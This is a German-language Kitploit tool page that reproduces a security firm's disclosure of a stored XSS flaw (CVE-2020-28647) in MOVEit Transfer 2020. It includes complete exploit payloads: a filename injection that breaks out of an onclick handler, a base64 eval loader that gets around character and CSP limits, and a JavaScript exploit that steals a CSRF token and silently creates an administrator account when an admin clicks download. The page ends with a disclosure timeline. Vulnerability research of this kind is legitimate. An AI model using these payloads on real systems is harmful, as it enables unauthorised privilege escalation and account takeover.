Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Progress-MOVEit-Transfer-2020.1-Stored-XSS-CVE-2020-28647 — MOVEit Transfer 2020 Webanwendung Stored Cross-Site Scripting (XSS) | Kitploit
Tools/GitHubGitHub/secforce/progress-moveit-transfer-2020.1-stored-xss-cve-2020-28647
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubsecforce/progress-moveit-transfer-2020.1-stored-xss-cve-2020-28647

Progress-MOVEit-Transfer-2020.1-Stored-XSS-CVE-2020-28647

MOVEit Transfer 2020 Webanwendung Stored Cross-Site Scripting (XSS)

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
vor 5 JahrenNoch nicht geprüft

Progress MOVEit Transfer < 2020.1 Stored XSS (CVE-2020-28647)

Während eines kürzlichen Webanwendungstests war eine der im Umfang enthaltenen Anwendungen eine MOVEit Transfer 2020 Webanwendung. Bei der Durchführung der Bewertung wurde eine Stored Cross-Site Scripting (XSS) Schwachstelle identifiziert. Dieser Blogbeitrag beschreibt die Entdeckung und Ausnutzung dieser Schwachstelle, um administrativen Zugriff auf die Webanwendung zu erlangen.

Während des Testens der Eingabevalidierung in einer Reihe verschiedener Eingabefelder in der gesamten Anwendung schien ein bestimmtes Eingabefeld eine unerwartete Ausgabe zu liefern, wenn bestimmte Payloads bereitgestellt wurden. Dieses Eingabefeld war der Dateiname beim Hochladen. Nach dem Hochladen von Dateien mit bestimmten Dateinamen wurde festgestellt, dass der Download-Button keine Aktion ausführte, wenn man versuchte, die Datei herunterzuladen. Dieses Verhalten wurde untersucht und wie im folgenden Bild zu sehen ist, wird beim Klicken auf den Download-Button ein JavaScript-Fehler ausgelöst.

Sobald dieser Fehler identifiziert wurde, wurde der HTML-Code hinter dem Download-Button analysiert. Aus der ersten Analyse ergab sich, dass der Dateiname in die onclick-JavaScript-Funktion des Buttons aufgenommen wird, ohne ordnungsgemäß bereinigt zu werden, wie im folgenden Bild zu sehen ist.

Mit dieser Beobachtung war klar, dass JavaScript-Code injiziert werden kann, der ausgeführt wird, sobald ein Benutzer auf den Download-Button klickt. Der erste Schritt war die Erstellung eines Proof-of-Concept-Codes, der ein JavaScript-Popup über die alert-Funktion auslöst. Aufgrund der Natur des Codes und der Stelle, an der der Dateiname injiziert wird, wurde der folgende Payload erstellt. Dieser Payload würde die aufgerufene Funktion beenden und eine neue Funktion, alert(), anhängen, gefolgt von einer Dummy-Funktion, um den Code zu vervollständigen.

root@kitploit:~
test", 382,"1234");alert("XSS");a("test

Mit diesem Payload können wir dies testen. Wir können eine Datei hochladen, dann die Upload-Anfrage an den Server mit Burp Proxy abfangen, den Dateinamen ändern und die Anfrage an den Server weiterleiten.

Nachdem die Datei hochgeladen wurde, können wir die Datei öffnen, indem wir auf den Dateinamen klicken, und dann auf den Download-Button klicken. Hier sehen wir, dass XSS ausgelöst wird und ein JavaScript-Alert-Popup angezeigt wird.

Cool! Wir können also beliebigen JavaScript-Code ausführen. Was können wir noch tun? Können wir daraus mehr herausholen?

Nachdem wir die Anwendung und ihre Funktionalität durchgegangen sind, könnte ein potenzieller Angriffsvektor ein Benutzer mit niedrigen Rechten sein, der versucht, seine Privilegien zu erweitern, um administrativen Zugriff auf die Webanwendung zu erhalten.

Der erste Schritt war zu prüfen, ob es möglich ist, HTTP-Anfragen über JavaScript mit XMLHttpRequest durchzuführen. Bei der Überprüfung der Einstellungen für Datei- und Ordnernamen wurde festgestellt, dass MOVEit keine Datei oder Ordner mit / oder \ im Namen erlaubt. Dies könnte uns potenziell daran hindern, HTTP-Anfragen durchzuführen. Eine weitere Einschränkung, die festgestellt wurde, war, dass der Dateiname auf 255 Zeichen begrenzt ist.

Basierend auf dieser Analyse haben wir einige Einschränkungen, die umgangen werden müssen. Die erste war, einen Weg zu finden, die Zeichenbeschränkung für / und \ zu umgehen und eine auf einem entfernten Server gehostete JavaScript-Datei einzubinden. Um diese Einschränkung zu umgehen, können wir den auszuführenden JavaScript-Code im base64-Format kodieren, diesen dann im Speicher dekodieren und über die eval-Funktion ausführen. Das folgende Code-Snippet macht genau das.

root@kitploit:~
t",1","1");var e="BASE64 CODE";var d=atob(e);eval(d);a("t","t

Mit diesem Code war der erste Versuch, ein <script>-Tag einzufügen, dessen Quelle auf eine extern gehostete Datei gesetzt war. Das folgende Code-Snippet wurde base64-kodiert und dann in das obige Snippet kopiert.

root@kitploit:~
var s=document.createElement("script");s.onload=function(){r();};s.src="http://XXX.XXX.XXX.XXX/t";document.head.appendChild(s);

Beim Versuch trat ein weiteres Problem auf: CSP. Die Webanwendung verwendete eine CSP, die das Laden externer JavaScript-Dateien verhinderte.

Wir können also keine externen Dateien laden und keinen JS-Code einfügen, der 255 Zeichen überschreitet. Was können wir jetzt tun? Wir können versuchen, die Funktionalität von MOVEit zu missbrauchen und sie zum Hosten unserer bösartigen JavaScript-Datei zu nutzen.

Zuerst müssen wir den JavaScript-Code erstellen, der eine GET-Anfrage an die Seite stellt, die für das Hinzufügen eines neuen Benutzers zum System verantwortlich ist, und daraus das CSRF-Token extrahiert. Das Skript muss dann eine POST-Anfrage stellen, um einen neuen Admin-Benutzer zu erstellen, einschließlich des in der Anfrage extrahierten CSRF-Tokens. Unten ist das Code-Snippet, das dies tut.

root@kitploit:~
//Exploit Title: MOVEit Transfer 2020 - Stored Cross-Site Scripting (XSS)
//Exploit Author: Mark Galea ([email protected])
//Date: 05-08-2020

function r(){	
    alert(1);
    var uri = "human.aspx?arg12=useradd";
    xhr = new XMLHttpRequest();	
    xhr.open("GET", uri, false);	
    xhr.send(null)
    if (xhr.status === 200)
    {
        responseBody = read_body(xhr);
        firstSubStr = responseBody.substring(responseBody.indexOf("csrftoken")+18);
        csrfToken = firstSubStr.substring(0, firstSubStr.indexOf('"'));
        if (csrfToken){
            var adduserUri = "/human.aspx";
            var body="csrftoken=" + csrfToken + "&transaction=useradd&arg02=0&arg12=useradd&arg01=sectest3&arg03=sectest3&arg04=test1%40secforce.com&arg11=0&arg05=30&Opt03=en&Opt02=20&opt05=1xFEHd%5DFhhVKJm&opt04=1&Arg08=%5B9%255Sj%29%2B4%2ChAUAY3&Arg09=%5B9%255Sj%29%2B4%2ChAUAY3&opt07=%2FHome%2F%5BUSERNAME%5D&Arg10=";
            xhr2 = new XMLHttpRequest();
            xhr2.open("POST", adduserUri, false);
            xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr2.send(body);
        }
    }
}

function read_body(xhr) {
    var data;
    if (!xhr.responseType || xhr.responseType === "text") {
        data = xhr.responseText;
    } else if (xhr.responseType === "document") {
        data = xhr.responseXML;
    } else if (xhr.responseType === "json") {
        data = xhr.responseJSON;
    } else {
        data = xhr.response;
    }
    return data;	
}

Der obige JavaScript-Code muss in einer Datei gespeichert und dann auf MOVEit hochgeladen werden. Nachdem die Datei hochgeladen wurde, öffnen Sie die Dateidetails und klicken Sie auf den Download-Button, während Sie die Webanfragen mit Burp Proxy abfangen. In den Burp-Proxy-Protokollen sollte ein Eintrag für den direkten Download-Link der Datei vorhanden sein. Diese URL sollte ähnlich wie diese sein:

root@kitploit:~
https://<MOVEIT_URL>/download?arg01=file693187292&arg02=693313636

Mit dem direkten Download-Link können wir diesen nun so einrichten, dass er in den Payload aufgenommen wird. Der folgende Code erstellt ein Script-Tag, setzt die Quell-URL auf den direkten Download-Link und fügt schließlich das Script-Tag in das head-Tag der Seite ein und führt bei onload die Funktion r() aus.

root@kitploit:~
var s=document.createElement("script");s.onload=function(){r();};s.src="/download?arg01=file693187292&arg02=693313636";document.head.appendChild(s);

Der nächste Schritt ist die Base64-Kodierung des obigen Code-Snippets:

root@kitploit:~
dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==

Der nächste Schritt ist das Injizieren dieses finalen XSS-Payloads. Dazu laden Sie eine Datei hoch, während Sie die Anfragen mit Burp Proxy abfangen, und ändern Sie den hochgeladenen Dateinamen in den folgenden XSS-Payload.

root@kitploit:~
t",1","1");var e="dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==";var d=atob(e);eval(d);a("t","t

Sobald die Datei hochgeladen ist, klicken Sie auf die hochgeladene Datei, um die Details zu öffnen, und klicken Sie auf den Download-Button, um das XSS und die Erstellung des Admin-Benutzers auszulösen. Ein Benutzer mit niedrigen Rechten kann dieses Setup erstellen, und wenn die hochgeladene Datei von einem administrativen Benutzer heruntergeladen wird, kann der Benutzer mit niedrigen Rechten den Administrator dazu bringen, unwissentlich ein Admin-Konto zu erstellen.

Zeitplan

  • 05/08/2020 - Problem gemeldet
  • 08/08/2020 - Problem bestätigt und Fix wird in das nächste Hauptrelease aufgenommen
  • 16/11/2020 - Progress MOVEit Advisory veröffentlicht
  • 17/11/2020 - CVE-2020-28647 veröffentlicht
Tool herunterladen